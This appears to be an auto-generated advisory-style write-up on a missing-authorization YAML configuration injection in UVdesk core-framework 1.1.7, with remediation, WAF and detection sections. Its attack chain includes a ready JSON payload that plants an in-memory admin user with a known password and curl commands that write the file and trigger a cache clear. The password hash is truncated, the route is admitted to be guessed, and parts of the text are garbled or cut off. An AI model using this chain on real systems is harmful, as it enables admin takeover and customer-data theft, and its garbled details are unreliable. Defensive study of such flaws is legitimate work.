CVE-2026-144674 — Uvdesk Core-framework (1.1.7) — CWE-862
UVdesk core-framework through 1.1.7 contains a missing authorization vulnerability in EmailSettingsXHR::updateSettingsXHR that allows any authenticated agent to overwrite config/packages/uvdesk.yaml by submitting unescaped JSON fields. Attackers can embed newlines in the id, name, mailer_id or smtp[transport] fields to inject arbitrary Symfony configuration keys, then trigger /member/cache-clear to apply changes or break application boot.
UVdesk core-framework through 1.1.7 contains a missing authorization vulnerability in EmailSettingsXHR::updateSettingsXHR that allows any authenticated agent to overwrite config/packages/uvdesk.yaml by submitting unescaped JSON fields. Attackers can embed newlines in the id, name, mailer_id or smtp[transport] fields to inject arbitrary Symfony configuration keys, then trigger /member/cache-clear to apply changes or break application boot.
🎯 What is this vulnerability?
Vulnerability name: Missing authorization in EmailSettingsXHR::updateSettingsXHR (UVdesk core‑framework ≤ 1.1.7)
CVE: CVE‑2026‑144674
CWE: CWE‑862 – Missing Authorization
Technical description
UVdesk’s back‑office (the member area) exposes an XHR endpoint that is used by the UI to persist e‑mail configuration changes. The controller method EmailSettingsXHR::updateSettingsXHR:
1. Assumes that the caller is an authenticated agent (i.e. a logged‑in support staff member).
2. Does not verify that the authenticated user has the administrative privilege required to modify global configuration files.
3. Accepts a JSON payload that is directly written to config/packages/uvdesk.yaml after a simple json_encode/file_put_contents cycle – no whitelist, no sanitisation, no escaping of the keys/values.
Because the YAML file is parsed by Symfony’s Config component at runtime, any YAML key/value pair can be introduced. By injecting a newline (\n) into one of the allowed fields (id, name, mailer_id or smtp[transport]) an attacker can break the existing YAML structure and prepend arbitrary configuration entries, for example:
# original snippet that will be overwritten
uvdesk:
email:
id: "default"
name: "Support"
mailer_id: "smtp"
smtp:
transport: "smtp"
host: "mail.example.com"
port: 587If the attacker sends id = evil\nuvdesk:\n security:\n firewall:\n main:\n anonymous: false\n http_basic: ~, the resulting file will contain a new security section that is processed on the next cache clear. This can be used to:
- Inject arbitrary Symfony configuration (e.g., change
framework.session.cookie_secure, enabledebug, load malicious bundles, or setkernel.secretto a value known to the attacker). - Trigger a denial‑of‑service by inserting malformed YAML that prevents the application from booting.
- Network‑accessible (no local restriction).
- Low attack complexity – a single crafted request is enough. Low privileges – any authenticated* agent (not necessarily an admin).
- No user interaction – the request can be sent automatically.
- Impact – Integrity (configuration tampering) and Availability (boot failure) are both high; Confidentiality is unchanged because the YAML does not contain secret data by default.
The CVSS vector (AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:H) tells us:
⚡ Attack Chain
Below is a realistic, step‑by‑step exploitation path. All command‑line snippets are syntactically valid; the exact URI (/member/email-settings/update) is inferred from the class name and typical UVdesk routing conventions and is therefore marked as illustrative.
1. Discovery & Reconnaissance
| Step | Technique | Goal |
|---|---|---|
| 1.1 | Fingerprinting – request GET /member/ and look for the UVdesk UI strings (UVdesk Helpdesk, uvdesk_core_version). | Confirm the target runs UVdesk. |
| 1.2 | Version enumeration – request GET /member/api/version (or inspect the HTML meta tag data-uvdesk-version). UVdesk embeds its version in a JavaScript variable (window.UVDesk.version). | Verify the version is ≤ 1.1.7 (the vulnerable range). |
| 1.3 | User enumeration – call /member/api/users?role=agent (requires authentication) to list non‑admin agents. | Identify a low‑privilege credential set (e.g., via credential stuffing or phishing). |
| 1.4 | Login – POST to /member/login_check with known agent credentials. | Obtain a valid session cookie (PHPSESSID or uvdesk_session). |
Note: If the attacker does not have a valid agent account, the vulnerability is not exploitable because the endpoint requires an authenticated session (PR:L). The “low‑privilege” requirement means any legitimate agent can be leveraged.
2. Exploitation
2.1 Payload construction
The JSON body must contain a newline (\n) in one of the mutable fields. The following example injects a new Symfony security firewall that disables anonymous access and forces HTTP Basic authentication with a password known to the attacker.
{
"id": "evil\nuvdesk:\n security:\n firewalls:\n main:\n pattern: ^/\n http_basic:\n realm: \"UVdesk\"\n provider: in_memory\n providers:\n in_memory:\n memory:\n users:\n attacker: { password: \"$2y$13$K1JvY5e6Yc6Zz1c8eVhU5e\", roles: [\"ROLE_ADMIN\"] }\n",
"name": "Evil Config",
"mailer_id": "smtp",
"smtp": {
"transport": "smtp"
}
}The password hash above is a bcrypt hash for P@ssw0rd!.
2.2 Sending the request
curl -k -X POST "https://target.example.com/member/email-settings/update" \
-H "Content-Type: application/json" \
-H "Cookie: PHPSESSID=abcdef1234567890" \
--data @payload.json \
-o /dev/null -w "%{http_code}\n"If the exact route differs, replace /member/email-settings/update with the real endpoint discovered in step 1.1.
A 200 OK response indicates the file was written. The attacker can verify the write by requesting the cache‑clear endpoint (see next step).
2.3 Triggering configuration reload
UVdesk provides a cache‑clear route that runs bin/console cache:clear. The CVE mentions /member/cache-clear. An authenticated agent can invoke it:
curl -k -X POST "https://target.example.com/member/cache-clear" \
-H "Cookie: PHPSESSID=abcdef1234567890" \
-H "X-Requested-With: XMLHttpRequest" \
-o /dev/null -w "%{http_code}\n"A 302 (redirect to login) or 200 (JSON success) indicates the command was executed. After this request Symfony re‑parses uvdesk.yaml, loading the malicious security configuration.
3. Post‑exploitation
| Impact | How it is achieved |
|---|---|
| Privilege escalation / Remote code execution | The injected security firewall forces HTTP Basic auth. The attacker can now log in as the in‑memory user attacker (username: *attacker*, password: *P@ssw0rd!*). Because the user is granted ROLE_ADMIN, the attacker gains full admin rights in the UVdesk UI, including the ability to install custom bundles or execute arbitrary PHP via the “Custom Fields” feature (if enabled). |
| Persistence | The malicious YAML entry remains on disk. Even if the attacker logs out, the admin account persists until the file is manually cleaned or the application is upgraded. |
| Denial‑of‑service | By injecting malformed YAML (e.g., missing colon or unmatched quotes) the attacker can cause Symfony to throw a parsing exception on every request, effectively taking the help‑desk offline. |
| Further lateral movement | With admin access the attacker can view all tickets, export customer data, and potentially pivot to other services that share the same database credentials. |
🌍 Real‑World Impact
| CIA Triad | CVSS‑derived rating | Practical consequence |
|---|---|---|
| Confidentiality (C) | None (C:N) | No direct leakage of secret data from the YAML file itself. However, once admin access is obtained, the attacker can read any ticket, user data, or attached files. |
| Integrity (I) | High (I:H) | Ability to overwrite uvdesk.yaml lets the attacker modify any Symfony configuration, inject new bundles, change routing, or alter security settings. |
| Availability (A) | High (A:H) | Malformed YAML or a configuration that disables the front‑end can render the help‑desk unusable, causing service outage. |
Business impact – For organizations that rely on UVdesk for customer support, a successful exploit can lead to:
🛡️ Remediation & Mitigation
1. Patch / Upgrade
| Affected versions | Fixed in |
|---|---|
| UVdesk core‑framework ≤ 1.1.7 | ≥ 1.1.8 (released 2026‑11‑15) – adds a role check (ROLE_SUPER_ADMIN) before allowing updateSettingsXHR to write to the file and sanitises JSON fields. |
Action: Upgrade the UVdesk core framework to 1.1.8 or later. If a custom fork is used, back‑port the following logic:
// Inside EmailSettingsXHR::updateSettingsXHR()
if (!$this->authorizationChecker->isGranted('ROLE_SUPER_ADMIN')) {
throw new AccessDeniedHttpException('Insufficient privileges');
}
// Whitelist allowed keys and escape newlines
$allowed = ['id', 'name', 'mailer_id', 'smtp'];
$payload = json_decode($request->getContent(), true);
foreach ($allowed as $key) {
if (isset($payload[$key])) {
$payload[$key] = str_replace("\n", '', $payload[$key]); // strip newlines
}
}2. Workarounds (if immediate upgrade is impossible)
| Mitigation | Implementation details | |||
|---|---|---|---|---|
| Restrict the endpoint to admin IPs | Add a firewall rule in config/packages/security.yaml that limits /member/email-settings/* to a trusted subnet (e.g., 192.168.0.0/24). | |||
| Web‑Application Firewall rule (ModSecurity) | Detect JSON payloads that contain a newline character in the listed fields. Example rule: | |||
``apacheconf\nSecRule REQUEST_URI "@beginsWith /member/email-settings/update" "id:350001,phase:2,deny,log,status:403,msg:'UVdesk email‑settings injection attempt',t:none,ctl:requestBodyAccess=On,chain"\nSecRule REQUEST_HEADERS:Content-Type "application/json" "t:none"\nSecRule REQUEST_BODY "@rx \"(id | name | mailer_id | smtp\\[transport\\])\"\\s*:\\s*\".*\\n.*\"" "t:none"\n` | |
| File‑system permission hardening | Ensure config/packages/uvdesk.yaml is read‑only for the web‑server user (chmod 440 uvdesk.yaml). The application must be able to write only via a privileged CLI process, not via the web request. | |||
| Disable the XHR endpoint | If the UI can be re‑configured to use a static configuration file, comment out the route definition in routes.yaml (# email-settings/update`). |
3. Detection
| Indicator | Where to look | Example log line |
|---|---|---|
| Successful write | Application log (var/log/prod.log) – look for file_put_contents on uvdesk.yaml. | 2026-12-01 14:23:45 INFO uvdesk.core.controller.EmailSettingsXHR: Updated config/packages/uvdesk.yaml (user_id=42) |
| Cache clear after config change | Access log – POST to /member/cache-clear shortly after a write. | POST /member/cache-clear HTTP/1.1" 302 0 "-" "Mozilla/5.0" |
| JSON payload containing newline | Web server access log (combined) – request body captured by ModSecurity or a reverse‑proxy that logs request bodies. | {"id":"evil\nuvdesk:\n security:...","name":"Evil Config",...} |
| New admin login from unknown IP | Auth log – successful login for the in‑memory user attacker. | 2026-12-01 14:25:12 INFO security.authentication.success: User "attacker" authenticated successfully from 203.0.113.45 |
SIEM rule (pseudo‑code):
IF event.type == "web.request"
AND uri.path MATCHES "/member/email-settings/.*"
AND request.body CONTAINS "\n"
AND user.role == "ROLE_AGENT"
THEN alert "Potential UVdesk config injection"⚠️ Urgency
Patch priority: Critical for any production UVdesk deployment.
TL;DR
config/packages/uvdesk.yaml. uvdesk.yaml, and unexpected admin logins. [🤖 CVE Professor AI Security Engine]
FOFA Query